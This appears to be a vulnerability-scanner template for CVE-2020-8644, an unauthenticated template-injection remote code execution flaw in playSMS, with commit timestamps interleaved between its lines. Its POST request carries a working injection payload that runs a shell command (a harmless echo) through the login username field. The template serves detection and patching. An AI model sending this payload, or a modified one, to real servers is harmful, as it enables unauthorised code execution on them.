2022-07-05 20:39:27 +00:00
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id: CVE-2020-8644
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info:
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2022-07-10 05:26:48 +00:00
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name: playSMS <1.4.3 - Remote Code Execution
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2022-07-05 20:39:27 +00:00
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author: dbrwsky
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severity: critical
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2022-07-08 19:07:55 +00:00
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description: PlaySMS before version 1.4.3 is susceptible to remote code execution because it double processes a server-side template.
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2023-09-06 12:22:36 +00:00
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remediation: |
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Upgrade playSMS to version 1.4.4 or later to mitigate this vulnerability.
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2022-07-05 20:39:27 +00:00
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reference:
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- https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/
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2022-07-06 05:00:57 +00:00
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- https://playsms.org/2020/02/05/playsms-1-4-3-has-been-released/
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2022-07-08 19:07:55 +00:00
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- https://nvd.nist.gov/vuln/detail/CVE-2020-8644
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2023-04-12 10:55:48 +00:00
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- http://packetstormsecurity.com/files/157106/PlaySMS-index.php-Unauthenticated-Template-Injection-Code-Execution.html
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2023-07-11 19:49:27 +00:00
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- https://forum.playsms.org/t/playsms-1-4-3-has-been-released/2704
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2022-07-06 08:55:00 +00:00
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-8644
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2023-07-11 19:49:27 +00:00
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cwe-id: CWE-94
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2023-10-14 11:27:55 +00:00
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epss-score: 0.96035
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2023-10-29 11:57:59 +00:00
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epss-percentile: 0.99301
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2023-09-06 12:22:36 +00:00
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cpe: cpe:2.3:a:playsms:playsms:*:*:*:*:*:*:*:*
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2023-04-28 08:11:21 +00:00
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metadata:
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max-request: 2
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2023-07-11 19:49:27 +00:00
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vendor: playsms
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product: playsms
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2023-04-12 10:55:48 +00:00
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tags: unauth,kev,packetstorm,cve,cve2020,ssti,playsms,rce
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2022-07-05 20:39:27 +00:00
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2023-04-27 04:28:59 +00:00
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http:
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2022-07-05 20:39:27 +00:00
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- raw:
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- |
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GET /index.php?app=main&inc=core_auth&route=login HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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- |
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POST /index.php?app=main&inc=core_auth&route=login&op=login HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Content-Type: application/x-www-form-urlencoded
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2022-07-06 05:00:57 +00:00
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X-CSRF-Token={{csrf}}&username=%7B%7B%60echo%20%27CVE-2020-8644%27%20%7C%20rev%60%7D%7D&password=
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2022-07-06 04:45:33 +00:00
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2022-07-05 20:39:27 +00:00
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cookie-reuse: true
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2022-10-07 21:27:25 +00:00
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host-redirects: true
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2022-07-06 05:00:57 +00:00
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max-redirects: 2
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2022-07-06 04:45:33 +00:00
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matchers-condition: and
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matchers:
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- type: word
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part: body
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2022-07-06 05:00:57 +00:00
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words:
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- '4468-0202-EVC'
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2022-07-06 04:45:33 +00:00
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- type: status
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status:
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- 200
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2023-07-11 19:49:27 +00:00
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extractors:
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- type: xpath
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name: csrf
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internal: true
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xpath:
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- /html/body/div[1]/div/div/table/tbody/tr[2]/td/table/tbody/tr/td/form/input
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attribute: value
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part: body
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2023-10-29 15:12:12 +00:00
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# digest: 4a0a00473045022100d2a63b2e273645671ec39246a8a7a74c48f50ed2e53fd99657f1c8ba2596d0aa02207e3b760b676992d65e0d60263e62ae7b1594c637eb3b99a573afc627ead2dc08:922c64590222798bb761d5b6d8e72950
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